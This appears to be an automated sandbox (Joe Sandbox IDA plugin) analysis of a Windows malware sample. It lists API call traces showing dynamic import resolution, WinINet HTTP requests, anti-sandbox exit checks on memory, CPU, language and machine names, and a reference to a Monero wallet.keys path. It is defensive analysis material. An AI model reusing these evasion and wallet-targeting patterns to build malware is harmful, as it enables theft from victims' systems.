GetProcAddress.KERNEL32(74DD0000,00E3D1B8), ref: 00399FFA
GetProcAddress.KERNEL32(74DD0000,00E25A30), ref: 0039A013
GetProcAddress.KERNEL32(74DD0000,00E25B10), ref: 0039A02B
LoadLibraryA.KERNEL32(00E3D308,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A03D
LoadLibraryA.KERNEL32(00E3D338,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A04E
LoadLibraryA.KERNEL32(00E3D3C8,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A060
LoadLibraryA.KERNEL32(00E3D188,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A072
LoadLibraryA.KERNEL32(00E3D1A0,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A083
LoadLibraryA.KERNEL32(00E3D350,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A095
LoadLibraryA.KERNEL32(00E3D1D0,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A0A7
LoadLibraryA.KERNEL32(00E3D398,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A0B8
GetProcAddress.KERNEL32(75290000,00E25C50), ref: 0039A0DA
GetProcAddress.KERNEL32(75290000,00E3D470), ref: 0039A0F2
GetProcAddress.KERNEL32(75290000,00E38F18), ref: 0039A10A
GetProcAddress.KERNEL32(75290000,00E3D4D0), ref: 0039A123
GetProcAddress.KERNEL32(75290000,00E25AD0), ref: 0039A13B
GetProcAddress.KERNEL32(6FD40000,00E2BA18), ref: 0039A160
GetProcAddress.KERNEL32(6FD40000,00E25AF0), ref: 0039A179
GetProcAddress.KERNEL32(6FD40000,00E2B860), ref: 0039A191
GetProcAddress.KERNEL32(6FD40000,00E3D530), ref: 0039A1A9
GetProcAddress.KERNEL32(6FD40000,00E3D488), ref: 0039A1C2
GetProcAddress.KERNEL32(6FD40000,00E25AB0), ref: 0039A1DA
GetProcAddress.KERNEL32(6FD40000,00E25B70), ref: 0039A1F2
GetProcAddress.KERNEL32(6FD40000,00E3D518), ref: 0039A20B
GetProcAddress.KERNEL32(752C0000,00E25E30), ref: 0039A22C
GetProcAddress.KERNEL32(752C0000,00E25C70), ref: 0039A244
GetProcAddress.KERNEL32(752C0000,00E3D548), ref: 0039A25D
GetProcAddress.KERNEL32(752C0000,00E3D560), ref: 0039A275
GetProcAddress.KERNEL32(752C0000,00E25D70), ref: 0039A28D
GetProcAddress.KERNEL32(74EC0000,00E2B9A0), ref: 0039A2B3
GetProcAddress.KERNEL32(74EC0000,00E2B9C8), ref: 0039A2CB
GetProcAddress.KERNEL32(74EC0000,00E3D578), ref: 0039A2E3
GetProcAddress.KERNEL32(74EC0000,00E25E10), ref: 0039A2FC
GetProcAddress.KERNEL32(74EC0000,00E25D30), ref: 0039A314
GetProcAddress.KERNEL32(74EC0000,00E2B6A8), ref: 0039A32C
GetProcAddress.KERNEL32(75BD0000,00E3D4B8), ref: 0039A352
GetProcAddress.KERNEL32(75BD0000,00E25DD0), ref: 0039A36A
GetProcAddress.KERNEL32(75BD0000,00E38F88), ref: 0039A382
GetProcAddress.KERNEL32(75BD0000,00E3D410), ref: 0039A39B
GetProcAddress.KERNEL32(75BD0000,00E3D428), ref: 0039A3B3
GetProcAddress.KERNEL32(75BD0000,00E25D50), ref: 0039A3CB
GetProcAddress.KERNEL32(75BD0000,00E25D90), ref: 0039A3E4
GetProcAddress.KERNEL32(75BD0000,00E3D4E8), ref: 0039A3FC
GetProcAddress.KERNEL32(75BD0000,00E3D590), ref: 0039A414
GetProcAddress.KERNEL32(75A70000,00E25BD0), ref: 0039A436
GetProcAddress.KERNEL32(75A70000,00E3D458), ref: 0039A44E
GetProcAddress.KERNEL32(75A70000,00E3D440), ref: 0039A466
GetProcAddress.KERNEL32(75A70000,00E3D5A8), ref: 0039A47F
GetProcAddress.KERNEL32(75A70000,00E3D3F8), ref: 0039A497
GetProcAddress.KERNEL32(75450000,00E25B90), ref: 0039A4B8
GetProcAddress.KERNEL32(75450000,00E25DB0), ref: 0039A4D1
GetProcAddress.KERNEL32(75DA0000,00E25C10), ref: 0039A4F2
GetProcAddress.KERNEL32(75DA0000,00E3D500), ref: 0039A50A
GetProcAddress.KERNEL32(6F040000,00E25B50), ref: 0039A530
GetProcAddress.KERNEL32(6F040000,00E25E50), ref: 0039A548
GetProcAddress.KERNEL32(6F040000,00E25C30), ref: 0039A560
GetProcAddress.KERNEL32(6F040000,00E3D4A0), ref: 0039A579
GetProcAddress.KERNEL32(6F040000,00E25DF0), ref: 0039A591
GetProcAddress.KERNEL32(6F040000,00E25BF0), ref: 0039A5A9
GetProcAddress.KERNEL32(6F040000,00E25B30), ref: 0039A5C2
GetProcAddress.KERNEL32(6F040000,00E25BB0), ref: 0039A5DA
GetProcAddress.KERNEL32(6F040000,InternetSetOptionA), ref: 0039A5F1
GetProcAddress.KERNEL32(6F040000,HttpQueryInfoA), ref: 0039A607
GetProcAddress.KERNEL32(75AF0000,00E3CF00), ref: 0039A629
GetProcAddress.KERNEL32(75AF0000,00E38F48), ref: 0039A641
GetProcAddress.KERNEL32(75AF0000,00E3CF60), ref: 0039A659
GetProcAddress.KERNEL32(75AF0000,00E3CF48), ref: 0039A672
GetProcAddress.KERNEL32(75D90000,00E25C90), ref: 0039A693
GetProcAddress.KERNEL32(6F7A0000,00E3D0C8), ref: 0039A6B4
GetProcAddress.KERNEL32(6F7A0000,00E25CB0), ref: 0039A6CD
GetProcAddress.KERNEL32(6F7A0000,00E3CE70), ref: 0039A6E5
GetProcAddress.KERNEL32(6F7A0000,00E3D008), ref: 0039A6FD

Strings

0[, xrefs: 0039A5B4
InternetSetOptionA, xrefs: 0039A5E5
P[, xrefs: 0039A522
p], xrefs: 0039A280
0Y, xrefs: 00399E4F
p[, xrefs: 0039A1E5
0Z, xrefs: 0039A005
p\, xrefs: 0039A237
P\, xrefs: 0039A0CC
HttpQueryInfoA, xrefs: 0039A5FC
pX, xrefs: 00399D74
0], xrefs: 0039A307
0^, xrefs: 0039A21F
0\, xrefs: 0039A553
P], xrefs: 0039A3BE
pY, xrefs: 00399D44
P^, xrefs: 0039A53B
pW, xrefs: 00399C20

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0Y$0Z$0[$0\$0]$0^$HttpQueryInfoA$InternetSetOptionA$P[$P\$P]$P^$pW$pX$pY$p[$p\$p]
API String ID: 2238633743-1295162599
Opcode ID: 0fbb0d7a8573fbd0b5be1b57571cb6898d4332bce4a805b3f11da1d68ecdc510
Instruction ID: 701fd599167cd8c19d1371658738c6bee902014338ffe8dcf5958d3c3943077f
Opcode Fuzzy Hash: 0fbb0d7a8573fbd0b5be1b57571cb6898d4332bce4a805b3f11da1d68ecdc510
Instruction Fuzzy Hash: D0628DB5500A48AFC748DFA8FD88D563FF9F7AC309304851AA609C3225D739985AFF52

Function 00395510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A820: lstrlen.KERNEL32(00384F05,?,?,00384F05,003A0DDE), ref: 0039A82B
Part of subcall function 0039A820: lstrcpy.KERNEL32(003A0DDE,00000000), ref: 0039A885

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395857

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395228

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 003952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395318
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 0039532F
Part of subcall function 003952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00395364
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 00395383
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 003953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0039578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395A0C
Sleep.KERNEL32(0000EA60), ref: 00395A1B

Strings

PX, xrefs: 00395585, 003955E3
ERROR, xrefs: 0039577D
ERROR, xrefs: 00395636
ERROR, xrefs: 00395932
ERROR, xrefs: 00395849
ERROR, xrefs: 003959FE
ERROR, xrefs: 00395693

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$PX
API String ID: 507064821-99763959
Opcode ID: 3fd0a8401a81ffe40299dd41d5a2dd4bd50e91e3b563ac4c6954d3d94f418a3e
Instruction ID: 2960518bf6c2880505fcc4c67a64aaca3d9fbfc4db0db7590fa2eb74dbc8b190
Opcode Fuzzy Hash: 3fd0a8401a81ffe40299dd41d5a2dd4bd50e91e3b563ac4c6954d3d94f418a3e
Instruction Fuzzy Hash: F4E13072910A089ADF16FBB0DC97EED777CAF54300F408668B4066A091EF346A4DDBD2

Function 00386280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
StrCmpCA.SHLWAPI(?,00E3EA88), ref: 00386303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
HttpOpenRequestA.WININET(00000000,GET,?,00E3DFD8,00000000,00000000,00400100,00000000), ref: 00386385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0038646D
InternetCloseHandle.WININET(00000000), ref: 003864EF
InternetCloseHandle.WININET(00000000), ref: 003864F9
InternetCloseHandle.WININET(00000000), ref: 00386503

Strings

ERROR, xrefs: 00386407
ERROR, xrefs: 003864C9
GET, xrefs: 0038637C

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: ec90eb388166349e750661b16670738f55a2a616ee9d471b54b616c3e386faf6
Instruction ID: 09556aedb75f6a886fd4a2da66488018361f6e102fd6a5948261133a35a7eca2
Opcode Fuzzy Hash: ec90eb388166349e750661b16670738f55a2a616ee9d471b54b616c3e386faf6
Instruction Fuzzy Hash: 5D714E71A00318ABDF15EBA0CC4AFEE77B8FB44704F104198F10A6B190DBB46A89DF91

Function 003917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003917C5
ExitProcess.KERNEL32 ref: 003917D1

Strings

block, xrefs: 003917B7

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 45362a159ce7b8b07bcdae3b719556a16a4fc536f2b56e5ff6b7b784dd0e47b4
Instruction ID: 03ec4cd21dd437ab464e0d6acc18068aa7674c7eb7794b1445c382318068ef74
Opcode Fuzzy Hash: 45362a159ce7b8b07bcdae3b719556a16a4fc536f2b56e5ff6b7b784dd0e47b4
Instruction Fuzzy Hash: 78512AB5A1420AEFDF06DFA0D954ABE7BB9BF44704F108048E406BB240D771ED55DBA2

Function 00397500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00397542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0039757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397603
RtlAllocateHeap.NTDLL(00000000), ref: 0039760A
wsprintfA.USER32 ref: 00397640

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

C, xrefs: 0039754C
:, xrefs: 0039764D, 00397655, 0039761B, 00397623
:, xrefs: 0039755C
\, xrefs: 00397560

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$:
API String ID: 1544550907-1412321837
Opcode ID: 741796597e30412a01a4f310c777f1c855247012c46c28d6e023d593188b5bce
Instruction ID: 61c188e0507cf1b58587fabe839c859a9a09381a3f544cb2e4be1d17dd3b4d98
Opcode Fuzzy Hash: 741796597e30412a01a4f310c777f1c855247012c46c28d6e023d593188b5bce
Instruction Fuzzy Hash: 1041C2B1D04248ABDF11DF94CC45FEEBBB8EF18704F100198F509AB280D7786A48CBA5

Function 003969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E324E8), ref: 003998A1
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32440), ref: 003998BA
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32248), ref: 003998D2
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E324A0), ref: 003998EA
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E322F0), ref: 00399903
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E38F68), ref: 0039991B
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E258D0), ref: 00399933
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E258B0), ref: 0039994C
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32470), ref: 00399964
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32260), ref: 0039997C
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E324D0), ref: 00399995
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32500), ref: 003999AD
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E25910), ref: 003999C5
Part of subcall function 00399860: GetProcAddress.KERNEL32(74DD0000,00E32278), ref: 003999DE

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 003811D0: ExitProcess.KERNEL32 ref: 00381211

Part of subcall function 00381160: GetSystemInfo.KERNEL32(?), ref: 0038116A
Part of subcall function 00381160: ExitProcess.KERNEL32 ref: 0038117E

Part of subcall function 00381110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0038112B
Part of subcall function 00381110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00381132
Part of subcall function 00381110: ExitProcess.KERNEL32 ref: 00381143

Part of subcall function 00381220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0038123E
Part of subcall function 00381220: __aulldiv.LIBCMT ref: 00381258
Part of subcall function 00381220: __aulldiv.LIBCMT ref: 00381266
Part of subcall function 00381220: ExitProcess.KERNEL32 ref: 00381294

Part of subcall function 00396770: GetUserDefaultLangID.KERNEL32 ref: 00396774

Part of subcall function 00381190: ExitProcess.KERNEL32 ref: 003811C6

Part of subcall function 00397850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
Part of subcall function 00397850: RtlAllocateHeap.NTDLL(00000000), ref: 00397887
Part of subcall function 00397850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

Part of subcall function 003978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00397910
Part of subcall function 003978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00397917
Part of subcall function 003978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0039792F

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E39018,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00396AE8
CloseHandle.KERNEL32(00000000), ref: 00396AF9
Sleep.KERNEL32(00001770), ref: 00396B04
CloseHandle.KERNEL32(?,00000000,?,00E39018,?,003A110C,?,00000000,?,003A1110,?,00000000,003A0AEF), ref: 00396B1A
ExitProcess.KERNEL32 ref: 00396B22

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 27af73ac4d39da96a77751ef4b45f2d6afef33cd0f1e3cc20447df60f4fdef43
Instruction ID: 6b975b890f711220085b75eb5934f116fec582bc0825cb981adddc13a7922dc3
Opcode Fuzzy Hash: 27af73ac4d39da96a77751ef4b45f2d6afef33cd0f1e3cc20447df60f4fdef43
Instruction Fuzzy Hash: 99310971914609AADF06FBF0DC5BFEE7B78AF14740F104618F202AA192EF706905D7A2

Function 00381220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0038123E
__aulldiv.LIBCMT ref: 00381258
__aulldiv.LIBCMT ref: 00381266
ExitProcess.KERNEL32 ref: 00381294

Strings

@, xrefs: 00381233

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
